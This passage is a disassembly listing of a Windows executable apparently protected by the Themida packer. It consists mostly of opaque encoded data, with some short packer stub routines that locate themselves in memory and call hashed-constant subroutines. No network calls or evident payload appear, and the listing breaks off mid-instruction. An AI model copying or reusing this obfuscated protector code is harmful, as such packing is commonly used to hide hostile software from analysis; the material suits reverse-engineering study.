2E966B7h dd 0BDF5FA3Fh, 7C405DEAh, 5188233h, 0CD913EA5h, 0D8AE00DBh dd 0AC8E9667h, 0CF1C2855h, 6ACBF2BFh, 0CC0800A5h, 985E332Fh dd 679D0140h, 0F78CED79h, 0D416CCBFh, 8B442E1Ch, 61BC49C0h dd 98EC7236h, 3F841294h, 7ED820BDh, 0A101A055h, 4A0C5159h dd 5AD0D823h, 7721C04Fh, 0B286F378h, 0F705D27Ch, 0D7C817A8h dd 0C6109387h, 1FACE07Dh, 89133070h, 0BC07B083h, 60411D58h dd 0C20EC86Dh, 20AAF9FBh, 6312A338h, 507E07CEh, 527940D0h dd 841156Fh, 0D05EED61h, 41C05359h, 7BA4A7FEh, 7BC98F9h dd 3F557F83h, 801915C0h, 0BAAB0850h, 5786F119h, 611052D8h dd 0C0000CD9h, 38ACDF46h, 101DCCCFh, 0F4368DCh, 20A9A101h dd 0D155C790h, 6BA00A3h, 989DA2D2h, 62E367A7h, 17007660h dd 0E554BFB9h, 90552E80h, 0AC840120h, 0AD48AE33h, 0DC5415h dd 4EE285CCh, 0EFE6C40Eh, 738D300h, 6C8B98D2h, 0E03B03BFh dd 48296E8Dh, 7E1C23BDh, 0C7C985A8h, 4EF4B212h, 596A0C01h dd 898CD9C2h, 513142A2h, 6000CC71h, 8AE0E133h, 44DFB9h dd 0E4FC9D04h, 6798BEDEh, 0EC1C3F50h, 0CB3C27E0h, 0FEF7804Ch dd 0FB025F6Ch, 61041834h, 6FF5291Bh, 4EE43003h, 0C80343FFh dd 0B9D2C7h, 2885BC95h, 0D8103F68h, 89C7A474h, 0F750596Eh dd 96AC1Dh, 3CD25D3Dh, 25C17CAAh, 4E0F04Ch, 46E29EBEh dd 0F9821483h, 6443A551h, 0CD5B0FCh, 2C7200ABh, 4A255578h dd 730B21EDh, 4F2C077h, 44442694h, 585C88BEh, 0C1A0C658h dd 2EC45F87h, 1CC7EDCh, 0D8E11DC5h, 975D5992h, 803FC31h dd 0A10BAE9Ah, 2C2201C2h, 0A8D70E00h, 4E42EFB4h, 104A6924h dd 196A9C80h, 0E2D63C33h, 0DF4B001Ch, 7EC7AF4Ch, 0D4020EE8h dd 4998933Eh, 2C8E6C4h, 0ECBB0C96h, 0C04032F3h, 43F45098h dd 80807F58h, 0A0D1B4D6h, 0AEA83C20h, 6F0014D8h, 4CAD2BB3h dd 426066D2h, 0BE71E5D9h, 75F2447h, 9C1E34h, 0DCB3FB80h dd 0C11FCBC9h, 440641D2h, 0FCE954C0h, 51790071h, 62C27B83h dd 0AC90E037h, 22D48A5Ch, 203013Eh, 3D752154h, 83C0EB6Eh dd 8B0B903Ah, 10A4DF82h, 0B8943058h, 0DBC81C10h, 0E7114059h dd 6258766Fh, 0D9271C0h, 33A096h, 0B7CF7493h, 0B563DEE0h dd 53D2E3Dh, 0A8844A16h, 7A306B87h, 0F88EE35Fh, 77BE1C19h dd 95F9C588h, 2EC205Ah, 0B106F72Ah, 48A21CB2h, 10A90289h dd 595F0C0Ah, 0BA9A9E83h, 3D0F818Fh, 0C787C4BEh, 5A395113h dd 0DA801C20h, 502A077Fh, 96A7C76h, 0C959C384h, 0C8D304Ch dd 6B4E4500h, 5EA1AEB9h, 75EB00FCh, 0A0C00719h, 481863C4h dd 391031D4h, 52902449h, 815660D8h, 66303645h, 0D6081927h dd 0CA6506B2h, 7033476Ah, 29E511E3h, 0E9C0C4h, 8E7736FDh dd 0A849FAFCh, 581F693Ah, 0BE660368h, 236740h, 55764351h dd 0FE0E59A9h, 0CD01A790h, 0A31A78E3h, 0B4604D5Eh, 0A53A2468h dd 0EAE046C8h, 0AC000875h, 5246425h, 3F88AD59h, 0E20027DFh dd 8E6E73E7h, 1400B960h, 6974B342h, 92446638h, 7EDF0050h dd 73151AD5h, 570613CEh, 40D843E3h, 67BE0721h, 998F17C7h dd 0DB500055h, 8986F2h, 3B6538ADh, 615DEBB6h, 1B00C8B1h dd 993417A0h, 0E3FD0E0Bh, 0C11D9E3Fh, 0B66F275Ch, 3D6091AFh dd 36A5B905h, 0FCEC8869h, 0CF8C7507h, 29B6B3h, 0D1480F7Bh dd 0E90D018Bh, 3E408082h, 902966h, 88D3E351h, 1E5B7347h dd 47B3BA15h, 3762Fh, 0F343CF91h, 0A5BC7F13h, 1BA4C020h dd 0A1F914BFh, 65142438h, 0FE1EFF92h, 80EF9E9Dh, 69A01071h dd 1B00F790h, 58014E38h, 4B36A78h, 0C18DE316h, 0C078C7B6h dd 43EB5F82h, 0BD58C805h, 0B111612Ah, 0C4AD0088h, 0F33F078Fh dd 0CCC8CA12h, 0FFFF5F01h, 6Ch db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_546A16: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_549F3F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0BCh dd 24B6Bh, 0FF000000h, 0FFFFFFh, 3D000000h, 1A0203h, 4 dup(0) dd 0E8000000h, 0A323h, 6 dup(0) dd 92000000h, 57BAh, 54000000h, 12FFh, 88000000h, 321504h dd 87000000h, 5911h, 9 dup(0) dd 4000000h, 0 dd 1000000h, 3 dup(0) dd 4B000000h, 0DB0057E9h, 5863h, 7 dup(0) dd 80000000h, 0Eh, 43000000h, 2D8D8Fh, 2 dup(0) dd 0B9000000h, 0D70057ECh, 5881h, 2 dup(0) dd 0CF000000h, 6Ah, 0 dd 2E000000h, 3F00A25Eh, 6C005AE0h, 234F0Dh, 2 dup(0) dd 1A000000h, 59F2h, 3 dup(0) dd 40000000h, 76B41Bh, 2 dup(0) dd 29000000h, 0E5F4849Dh, 0Eh dup(0) dd 0D8000000h, 19D208h, 3 dup(0) dd 4000000h, 7FFE03h, 0F8000000h, 12FEh, 2 dup(0) dd 0F8025C00h, 12FEh, 6 dup(0) dd 0FF000000h, 0E7FFFEBFh, 0A6A5h, 2 dup(0) dd 0E9000000h, 1Ah dup(0) dd 68000000h, 0A315h, 0 dd 8000000h, 8D0012FDh, 0EADA8Dh, 5 dup(0) dd 0DF000000h, 53A9C530h, 4300A68Dh, 56h, 20h dup(0) dd 0F7000000h, 0A209h, 4 dup(0) dd 14000000h, 77E836h, 0 dd 82000000h, 69C614h, 2 dup(0) dd 100h, 6 dup(0) dd 0E0000000h, 0 dd 16000000h, 0B8h, 0A2000000h, 343h, 0DF000000h, 30h dd 3 dup(0) dd 0F000000h, 0A2A0h, 0 dd 66000000h, 0FFA1C0h, 37000000h, 46005BCEh, 0F80058B0h dd 5490h, 31000000h, 2F4h, 77E600h, 2 dup(0) dd 0BD000000h, 0FF0059F1h, 3B7286DAh, 1C5h, 4000000h, 7FFE03h dd 4 dup(0) dd 0E2000000h, 0DB8002CBh, 76B727h, 5D000000h, 5B50h, 2 dup(0) dd 14000000h, 0E00h, 4 dup(0) dd 60000000h, 3EC667h, 0CC000000h, 77DD5Eh, 37000000h dd 0A29Ch, 64000000h, 12FFh, 48000000h, 0EF005832h, 77E793h dd 0FF000000h, 0FFA5CCh, 5 dup(0) dd 1F3A00h, 0C4000000h, 12FFh, 2 dup(0) dd 1A000000h, 53000006h, 59F2h, 5 dup(0) dd 4000000h, 7FFE03h, 0 dd 1C000000h, 70C205h, 8 dup(0) dd 68000000h, 0A332h, 4000000h, 7FFE03h, 1000000h, 9 dup(0) dd 0B4000000h, 0E800006Ah, 0CC000005h, 0 dd 1C000000h, 70C205h, 37000000h, 0DD1014CBh, 0A269h, 4 dup(0) dd 0E9000000h, 10B7h, 0 dd 0CD000000h, 0FE4576h, 6 dup(0) dd 0FE000000h, 0FFFFFFh, 0 dd 18000000h, 30058BBh, 5774h, 79000000h, 0DD005A49h, 0A269h dd 4 dup(0) dd 4000000h, 7FFE03h, 0 dd 0D0000000h, 58C5h, 2 dup(0) dd 0B8000000h, 270057A8h, 5474h, 0E8000000h, 77E82Fh, 0B8000000h dd 0 ; --------------------------------------------------------------------------- or eax, eax jz short loc_546FEB retn 18h ; --------------------------------------------------------------------------- loc_546FEB: ; CODE XREF: Themida_:00546FE6j mov eax, [esp+0Ch] push ebx call $+5 pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0A2A037h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 14h dup(0) dd 8B000000h, 5C9Ah, 2 dup(0) dd 3E000000h, 77E600h, 4 dup(0) dd 19000000h, 6 dup(0) dd 8D000000h, 7CEFDC8Dh, 59BAh, 0 dd 0F7000000h, 0A600A209h, 0D0EB1FC9h, 0 dd 18000000h, 0F005819h, 0A2A0h, 6 dup(0) dd 0BF000000h, 0DD7FFFFFh, 0E28E0h, 0F000000h, 0BAFFB751h dd 5Ah, 3 dup(0) dd 4000000h, 9 dup(0) dd 0D8000000h, 49374h, 9 dup(0) dd 60000000h, 0F9958Bh, 0 dd 3D000000h, 72005754h, 9B2579h, 50000000h, 7FECFCh, 0 dd 0D8000000h, 19D208h, 3 dup(0) dd 37000000h, 21005BCEh, 212121h, 0 dd 0FC000000h, 8001FCh, 0A0000000h, 77FC6Fh, 0 dd 1000000h, 0 dd 59000000h, 0FFF34Eh, 4 dup(0) dd 0B0000000h, 2C0212FFh, 0FFFE8Ch, 2Ah dup(0) dd 93000000h, 0A293h, 0 dd 0BA000000h, 0FF4FFFh, 0 dd 4000h, 9 dup(0) dd 73000000h, 0F1A36D1h, 0A2A0h, 8 dup(0) dd 23000000h, 0A2000011h, 5B9Ch, 3 dup(0) dd 1000000h, 2 dup(0) dd 37000000h, 77E7A8h, 0 dd 0EA000000h, 1E43E0h, 5 dup(0) dd 0A9000000h, 72BB8CBCh, 5C86h, 0 dd 32000000h, 5B56h, 0 dd 3E000000h, 835113h, 4000000h, 7FFE03h, 900h, 0 dd 0DF000000h, 1A9C530h, 50000000h, 0FE4D00h, 3 dup(0) dd 56000000h, 0A2FAh, 5D000000h, 5B52h, 0 dd 0E8000000h, 0D9000006h, 50005C9Bh, 0FFFFA2h, 5D000000h dd 38E13Fh, 0DF000000h, 0CDCD2EBDh, 5F005B32h, 548Ah, 3 dup(0) dd 72000000h, 44C5A040h, 60C246DAh, 0FFA5FBh, 0FD000000h dd 1777E7A5h, 5498h, 73000000h, 59E0h, 7 dup(0) dd 2000000h, 4 dup(0) dd 0AC000000h, 671C1Ch, 0 dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Ch dup(0) dd 8B000000h, 5C9Ah, 0Fh dup(0) dd 0B1000000h, 7AB893h, 3 dup(0) dd 71000000h, 1E614F44h, 0A339h, 6 dup(0) dd 0D9000000h, 3F81A16Eh, 77E7A1h, 4 dup(0) dd 5B00B000h, 0 dd 0A8000000h, 0 dd 17000000h, 0E2FFEF48h, 8064B6h, 10h dup(0) dd 4000000h, 1C7FFE03h, 0E470C205h, 0FFFE68h, 0 dd 0B6000000h, 57FCh, 93000000h, 0FE9B65h, 0 dd 34000000h, 763706h, 2 dup(0) dd 4E000000h, 993F3h, 0 dd 0C4000000h, 5A64h, 8 dup(0) dd 0A4000000h, 12FFh, 2 dup(0) dd 0C9000000h, 6B5h, 3 dup(0) dd 0DF000000h, 546Fh, 0 dd 67000000h, 5B31h, 6 dup(0) dd 1A001DA0h, 0A29Dh, 0 dd 68000000h, 77E83Eh, 2 dup(0) dd 0A1000000h, 599Ah, 0CF000000h, 8E00006Ah, 0ADEB8Eh dd 3 dup(0) dd 1000000h, 4A005CA0h, 0CDBA4E6Bh, 77E776h, 0C4000000h dd 402Eh, 4 dup(0) dd 5D000000h, 38E13Fh, 29000h, 4 dup(0) dd 2000000h, 0BA000000h, 0FF53FFh, 7 dup(0) dd 0A4000000h, 12FFh, 0 dd 9F000000h, 0A2704Dh, 7 dup(0) dd 3C000000h, 22000000h, 22222222h, 222222h, 3 dup(0) dd 7C000000h, 0DB005A55h, 0CC005C85h, 0 dd 76000000h, 6553F8h, 0 dd 94000000h, 1500003Dh, 2 dup(0) dd 43000000h, 49575C3Ah, 574F444Eh, 79535C53h, 6D657473h dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 39h dup(0) dd 9C000000h, 0E9024B6Bh, 77EBA6h, 0 dd 0CE000000h, 401A38Ch, 7FFE03h, 47000000h, 0C43513B5h dd 7506B0h, 7 dup(0) dd 2F000000h, 5B58h, 0 dd 5E000000h, 77E7ACh, 54000000h, 12FFh, 3 dup(0) dd 0C4000000h, 402Eh, 0 dd 0A000000h, 0A28Ch, 24B00h, 4 dup(0) dd 68000000h, 57A8h, 0EC000000h, 1D286h, 0 dd 2E000000h, 77E76Ah, 2 dup(0) dd 1A000000h, 6, 2A000000h, 5819h, 0 dd 0DD000000h, 0A269h, 0 dd 0F4000000h, 1638Ch, 7 dup(0) dd 0CD000000h, 5860h, 0B0000000h, 152FFh, 0A9000000h, 94h dd 4 dup(0) dd 0CD000000h, 3 dup(0) dd 50000000h, 31CABE8Fh, 0FFFF95h, 9A000000h, 0BD6939D2h dd 7EEF5Fh, 11000000h, 1D111111h, 1A2B0Eh, 0 dd 0D7000000h, 5816h, 6 dup(0) dd 8D000000h, 106538Dh, 0Ah dup(0) dd 23000000h, 0 dd 1000000h, 4 dup(0) dd 28000000h, 68DFC1CBh, 221h, 64000000h, 540012FFh, 0FFh dd 90000000h, 9, 3 dup(0) dd 0FF000000h, 0FFFFFFh, 0Bh dup(0) dd 8000000h, 12FDh, 5 dup(0) dd 0DF000000h, 0A9C530h, 5 dup(0) dd 0CF000000h, 5400006Ah, 12FFh, 8 dup(0) dd 0D0000000h, 6585h, 10000000h, 5Fh, 0 dd 4000000h, 67FFE03h, 0 dd 90000000h, 0C40057A8h, 0FFFE6Ch, 4 dup(0) dd 6C000000h, 10h, 0 dd 0DB000000h, 5863h, 4000000h, 7FFE03h, 0B0000000h, 242FFh dd 23000000h, 5400h, 0 dd 1A000000h, 5771h, 6 dup(0) dd 23000000h, 0FFA7AEh, 0DB000000h, 0FFA63Ah, 3 dup(0) dd 0F4000000h, 0FFFFA2h, 0Dh dup(0) dd 4000000h, 7FFE03h, 0 dd 0E7000000h, 0EB5AC7h, 8 dup(0) dd 26000000h, 7FA75Bh, 8 dup(0) dd 69000000h, 1005B70h, 0D4005A33h, 3 dup(0) dd 1000000h, 2 dup(0) dd 0D2000000h, 5881h, 89000000h, 898F59h, 0CF000000h, 6Ah dd 6 dup(0) dd 0C4000000h, 0A270h, 3 dup(0) dd 34000000h, 14h, 0 dd 0D1000000h, 78000007h, 0B3005A3Ah, 7FFED0h, 3 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 8C000000h, 587Eh, 0Ah dup(0) dd 0F000000h, 5B0057A6h, 0FFFFCBh, 0Dh dup(0) dd 0B9000000h, 5A46h, 82000000h, 77E78Bh, 0C4000000h, 0FFFE6Ch dd 0 dd 38000000h, 5BB6h, 0 dd 9E000000h, 58C4h, 4 dup(0) dd 7F000000h, 0C9h, 0Ah dup(0) dd 2C000000h, 5832h, 2 dup(0) dd 0E0000000h, 0B2h, 3 dup(0) dd 0FC000000h, 0FFFFFCh, 3 dup(0) dd 4000000h, 7FFE03h, 0 dd 2000000h, 0 dd 0D0000000h, 17001446h, 0FFEF48h, 0Ah dup(0) dd 2B000000h, 2 dup(0) dd 0DF000000h, 0A9C530h, 6 dup(0) dd 17000000h, 0FFFBFFh, 4 dup(0) dd 0FC000000h, 0E75EFFh, 2 dup(0) dd 0F1000000h, 0DFC1CBh, 0Ah dup(0) dd 0B000000h, 5BCBh, 5 dup(0) dd 67000000h, 546Ch, 2 dup(0) dd 4000000h, 737FFE03h, 54A5h, 99000000h, 5B503D72h, 7FD039h dd 3 dup(0) dd 0E0000000h, 12FFh, 0DF000000h, 54000030h, 696D6568h dd 6164h, 1Bh dup(0) dd 59000000h, 0FFF34Eh, 0 dd 9F000000h, 3D483Dh, 4 dup(0) dd 18000000h, 5819h, 0D8000000h, 19D208h, 1000000h, 0D7000000h dd 0E877DD23h, 6700000Ch, 546Ch, 0F4000000h, 0FFFFA2h dd 3 dup(0) dd 68000000h, 0E9564D58h, 4 dup(0) dd 18000000h, 5819h, 50000000h, 0FFFEC2h, 0 dd 37000000h, 77E7A8h, 0B0000000h, 0A26Ch, 7 dup(0) dd 0ED000000h, 57FEh, 3 dup(0) dd 4000000h, 7FFE03h, 4 dup(0) dd 0A4000000h, 0FF0012FFh, 1BD7FDh, 0 dd 0EA000000h, 11725h, 4 dup(0) dd 0BC000000h, 353CF9h, 4 dup(0) dd 18000000h, 0FFFFF3h, 0 dd 0F8000000h, 12FEh, 2 dup(0) dd 19000000h, 5933h, 2 dup(0) dd 8D000000h, 5B06538Dh, 5B000003h, 581Fh, 2 dup(0) dd 32000000h, 5C6Dh, 0A1000000h, 29h, 9A000000h, 77DD18h dd 4 dup(0) dd 0DD000000h, 0A269h, 54000000h, 0A1D5h, 0A7000000h, 0 dd 0FB000000h, 10E1BDh, 0Bh dup(0) dd 0F5000000h, 57A5h, 6 dup(0) dd 0EC000000h, 5A63h, 4 dup(0) dd 18000000h, 5819h, 23000000h, 5400h, 4 dup(0) dd 0CF000000h, 6Ah, 5 dup(0) dd 0C000000h, 24300h, 6 dup(0) dd 5B000000h, 0FFFFCBh, 8 dup(0) dd 82000000h, 29007h, 0 dd 0E6000000h, 400A10Fh, 0AC7FFE03h, 0FFED00h, 1000000h dd 2 dup(0) dd 0CA000000h, 15267CAFh, 0 dd 0F8000000h, 3F9h, 0 dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 5 dup(0) dd 0FD000000h, 448249h, 0AC000000h, 8, 3 dup(0) dd 0A100h, 5 dup(0) dd 54000000h, 12FFh, 6 dup(0) dd 4000000h, 7FFE03h, 4 dup(0) dd 0A6000000h, 4Fh, 2 dup(0) dd 5F000000h, 0D880CEA3h, 0E00A47Fh, 2020Eh, 11h dup(0) dd 4000000h, 7FFE03h, 0 dd 6A000000h, 77D4C9h, 8 dup(0) dd 0A4000000h, 3B0012FFh, 400A23Eh, 7FFE03h, 8 dup(0) dd 0F000000h, 0A2A0h, 67000000h, 0F000546Ch, 5B54h, 2 dup(0) dd 61000000h, 773061h, 69000000h, 0A0005B70h, 6 dup(0) dd 63000000h, 77E779h, 4 dup(0) dd 4000000h, 7FFE03h, 8 dup(0) dd 0E4000000h, 8F3DFAh, 0AC000000h, 0A49Bh, 5 dup(0) dd 16000000h, 0A473h, 5 dup(0) dd 37000000h, 0A2A0h, 6 dup(0) dd 0C0000000h, 894BE4h, 22000000h, 1A842Ch, 39000000h dd 6 dup(0) dd 50000000h, 0FFFFA2h, 3 dup(0) dd 95000000h, 0A699h, 4 dup(0) dd 0FC000000h, 8001FCh, 0 dd 9F000000h, 17B14E93h, 5498h, 71000000h, 5ECC3Fh, 11h dup(0) dd 0DE000000h, 0E57BD3h, 5 dup(0) dd 0EA000000h, 11725h, 2 dup(0) dd 0F9000000h, 9C7FFEF7h, 3 dup(0) dd 77D400h, 0 dd 95000000h, 5CF9h, 3 dup(0) dd 0FD000000h, 7BBEFFh, 0E0000000h, 0FE7h, 0 dd 18000000h, 5819h, 2 dup(0) dd 0A0000000h, 7DDA24h, 6 dup(0) dd 4000000h, 7FFE03h, 2000000h, 2 dup(0) dd 99000000h, 0A294h, 0 dd 48000000h, 5832h, 8C000000h, 0FD7658h, 0 dd 0F000000h, 9500A2A0h, 1BEB09h, 3 dup(0) dd 8F000000h, 974C49h, 4 dup(0) dd 0B900h, 0D6000000h, 0A0FFF86Eh, 3, 76B400h, 9C000000h dd 0A24E57h, 34000000h, 0A4B1h, 3 dup(0) dd 7B000000h, 547Ch, 0Ah dup(0) dd 0F8000000h, 0A100h, 8 dup(0) dd 6A024300h, 5A7Fh, 0BF000000h, 572Fh, 24000000h, 242424h dd 2 dup(0) dd 0E9000000h, 0B00010B7h, 1D7FFh, 0 dd 4000000h, 7FFE03h, 3D000000h, 97h, 2 dup(0) dd 44000000h, 77E7A1h, 4 dup(0) dd 4000000h, 3, 3 dup(0) dd 4000370h, 737FFE03h, 557h, 5 dup(0) dd 3C000000h, 59BCh, 0Eh dup(0) dd 0BC000000h, 5B11EFh, 3 dup(0) dd 35000000h, 0FFFFF8h, 0C3000000h, 0B2B4DCh, 64000000h dd 230012FFh, 5800h, 0 dd 8D000000h, 0DF638Dh, 38000000h, 5832h, 4 dup(0) dd 0CF000000h, 6Ah, 2 dup(0) dd 92000000h, 400A222h, 0A47FFE03h, 2 dup(0) dd 25E00h, 6 dup(0) dd 4000000h, 0D87FFE03h, 19D208h, 4 dup(0) dd 85000000h, 33h, 2 dup(0) dd 4000000h, 7 dup(0) dd 44000000h, 477E7A1h, 5E000003h, 0D30FB071h, 1CA026h dd 0 dd 5F000000h, 477F7EDh, 7FFE03h, 0FC000000h, 0D88001FCh dd 19D208h, 2 dup(0) dd 30000000h, 2040F5h, 0 dd 40000000h, 0B8h, 0Bh dup(0) dd 9C000000h, 0 dd 23000000h, 0D8FFA7AEh, 77E805h, 0C2000000h, 58A2h, 6 dup(0) dd 0E9000000h, 220010B7h, 805940h, 77F500h, 8 dup(0) dd 0A3000000h, 0CDA680h, 1Ch dup(0) dd 0B0000000h, 222FFh, 8D000000h, 77098Dh, 2D000000h, 58F3h dd 3 dup(0) dd 9C000000h, 74024B6Bh, 0E8865559h, 77E82Fh, 8 dup(0) dd 4000000h, 7FFE03h, 1Ch dup(0) dd 0E9000000h, 40010B7h, 0FFFFFFh, 25C00h, 0 dd 41000000h, 4D6h, 4000000h, 48000000h, 5832h, 3 dup(0) align 8 inc edi retf 16h ; --------------------------------------------------------------------------- dd 5 dup(0) dd 0B2000000h, 0BDFFFF78h, 5B11EFh, 0 dd 0A000000h, 0A28Ch, 2 dup(0) dd 17000000h, 0D3h, 0E3000000h, 5B6Ch, 0 dd 0CD000000h, 77E776h, 2 dup(0) dd 9577DD00h, 0E9005CF9h, 10B7h, 18000000h, 5819h, 0 dd 18000000h, 1877E806h, 0F0005819h, 77DD59h, 0 dd 0B0000000h, 2 dup(0) dd 18000000h, 6005819h, 77E6D7h, 3000000h, 5700h, 0 dd 0FE000000h, 0FD00B2A1h, 4448249h, 7FFE03h, 2 dup(0) dd 0DC000000h, 22FFFF93h, 6Eh, 57000000h, 0C4FF0199h, 0A270h dd 6A000000h, 77D4C9h, 0B3000000h, 77F7EBh, 0C4000000h dd 2E000000h, 59C0h, 0DD0h, 5 dup(0) dd 8D000000h, 0EADA8Dh, 5 dup(0) dd 25B00h, 5 dup(0) dd 99000000h, 6D0E23h, 54000000h, 12FFh, 0 dd 4000000h, 7FFE03h, 2 dup(0) dd 14h, 4 dup(0) dd 0F7000000h, 0E8005490h, 22Fh, 8Ch dup(0) dd 78000000h, 60F24Dh, 0 dd 0FC000000h, 8001FCh, 0E1000000h, 581Fh, 0 dd 0F8000000h, 9C43h, 4 dup(0) dd 4000000h, 7FFE03h, 0C8000000h, 6 dup(0) dd 54000000h, 0A331h, 0 dd 0DF000000h, 0A9C530h, 2 dup(0) dd 5B000000h, 5AD0h, 3 dup(0) dd 0F4000000h, 0FFFFA2h, 63h dup(0) dd 4000000h, 7FFE03h, 9C000000h, 0BC1h, 0 dd 50000000h, 0FFFFA2h, 6 dup(0) dd 8000000h, 0F0001100h, 12FFh, 0 dd 80000000h, 805DE3h, 7 dup(0) dd 88000000h, 9F0DB2h, 9 dup(0) dd 0EA000000h, 0FD42B4h, 3 dup(0) dd 44000000h, 0C246DAh, 5B000000h, 0FFFFCBh, 9C004010h dd 24B6Bh, 0F8000000h, 0B8A3F8h, 3 dup(0) dd 0FB000000h, 0E08204D6h, 0F691h, 2 dup(0) dd 0C9000000h, 881857h, 2 dup(0) dd 2000000h, 3 dup(0) dd 0C9000000h, 881857h, 2 dup(0) dd 5000000h, 0F20A2801h, 5B59h, 3 dup(0) dd 56000000h, 5904h, 99000000h, 77E7A0h, 7 dup(0) dd 69000000h, 5B70h, 2 dup(0) dd 0CA000000h, 0B0B1h, 7 dup(0) dd 10h, 8 dup(0) dd 9F000000h, 5719h, 4 dup(0) dd 0CF000000h, 6Ah, 0 dd 15000000h, 0BC6935E5h, 7 dup(0) dd 0B8000000h, 5 dup(0) dd 0E000000h, 4B02CFE3h, 57E9h, 3 dup(0) dword_5494AC dd 50000000h, 58D5h, 6 dup(0) ; DATA XREF: Themida_:0055B22Eo dd 0C0000000h, 5 dup(0) dd 0F877E600h, 1D0012FEh, 82AFB197h, 1D005844h, 2D35D43Dh dd 58F3h, 4000000h, 7FFE03h, 4 dup(0) dd 18000000h, 1A005819h, 5BC6h, 3E000000h, 0A100h, 0 dd 2000000h, 2Ah dup(0) dd 4000000h, 7FFE03h, 5 dup(0) dd 0B6000000h, 0AF6909h, 58000000h, 1A000063h, 98BA6606h dd 0A4000000h, 9B0012FFh, 530882h, 0C4000000h, 0FFA643h dd 0C0000000h, 894BE4h, 7 dup(0) dd 6B000000h, 588Bh, 0 dd 0E9000000h, 10B7h, 4DE0h, 0 dd 8A000000h, 2B2700h, 3 dup(0) dd 68000000h, 477E821h, 7FFE03h, 3CCh, 97000000h, 59F5h dd 3 dup(0) dd 0C0000000h, 0 dd 0E8000000h, 77E82Fh, 2 dup(0) dd 0D0000000h, 0CD4DAAh, 5 dup(0) dd 5B000000h, 4100A291h, 0ABE628h, 0 dd 7E000000h, 87h, 3 dup(0) dd 0A7000000h, 5A63h, 0 dd 0BA000000h, 360ACC6Bh, 363636h, 0Dh dup(0) dd 45000000h, 0A231h, 2 dup(0) dd 0AD000000h, 76100A6Ah, 7, 0 dd 0EB000000h, 16h, 4 dup(0) dd 82000000h, 77E78Bh, 0 dd 0B0000000h, 2 dup(0) dd 0EC000000h, 5A63h, 3D000000h, 589Dh, 5C000000h, 221h dd 7 dup(0) dd 2B000000h, 58h, 2 dup(0) dd 0AC000000h, 90000000h, 7A77EBh, 7 dup(0) dd 0E1000000h, 174D99h, 0CD025D00h, 1005860h, 4 dup(0) dd 18000000h, 4, 0 dd 77E600h, 0C0000000h, 0D4001FCFh, 0FC005B4Eh, 2 dup(0) dd 7C000000h, 59BAh, 29h dup(0) dd 1F000000h, 5AE1h, 0 dd 0E9000000h, 400h, 4 dup(0) dd 0AB000000h, 7C127Ch, 2 dup(0) dd 0CF000000h, 6Ah, 0 dd 18000000h, 23FFA59Ch, 5400h, 0Bh dup(0) dd 0DE000000h, 0A22Bh, 5 dup(0) dd 39000000h, 0FF0054AAh, 0A37Fh, 4 dup(0) dd 9C000000h, 0FFFFA0h, 60000000h, 0A315h, 5F000000h, 0A2BAh dd 5 dup(0) dd 0CE000000h, 5BB0h, 9 dup(0) dd 86000000h, 0A477E7C4h, 12FFh, 0 dd 0C3000000h, 34005B37h, 5500A292h, 8368A2h, 17000000h dd 18FFEF48h, 5819h, 8 dup(0) dd 44000000h, 0C246DAh, 0CA000000h, 1782FCh, 68000000h dd 0A1B1h, 4000000h, 7FFE03h, 0Dh dup(0) dd 0D8000000h, 0CA906Ah, 2 dup(0) dd 0DD000000h, 0A269h, 5 dup(0) dd 0CF000000h, 0DC00006Ah, 433C49h, 0Fh dup(0) dd 0A100h, 3 dup(0) dd 0B5000000h, 77E75Ch, 5 dup(0) dd 0B4000000h, 0Ch dup(0) dd 63000000h, 3CB4CDh, 0CA000000h, 39E854h, 0 dd 4000000h, 7FFE03h, 0AC000000h, 0FF4DBAh, 5 dup(0) dd 0B5000000h, 77E75Ch, 0D3000000h, 779DD9h, 2 dup(0) dd 4D000000h, 710057FEh, 5DD2B6h, 0 dd 47000000h, 3513B5h, 0AEh dup(0) dd 2000000h, 7 dup(0) dd 33000000h, 2 dup(33333333h), 25333333h, 59C5h, 22000000h dd 8818C8h, 0 dd 47000000h, 54ADh, 2 dup(0) dd 87000000h, 1ACD874Dh, 833E7Dh, 4 dup(0) dd 0BC000000h, 5775h, 0 dd 0F000000h, 77F52Eh, 4 dup(0) dd 0CD000000h, 2BE326h, 46000000h, 0FF4F5Ch, 4 dup(0) dd 69000000h, 7B005B70h, 1FFFFCCh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_549F3F: ; CODE XREF: start:loc_546A16j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 6123533h mov [ebp+6120469h], edx mov [ebp+6120EF5h], esi mov [ebp+61228A5h], eax cmp dword ptr [ebp+6121229h], 0 jz short loc_549F77 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_549F77: ; CODE XREF: start+69F55j mov eax, [esp+40h+var_1C] mov [ebp+61234E5h], eax push 45h call sub_54A02B push 783749Ah call sub_54A071 push 0A894B25h call sub_54A071 jmp loc_54A1B5 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54A02B proc near ; CODE XREF: start+69F6Fp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 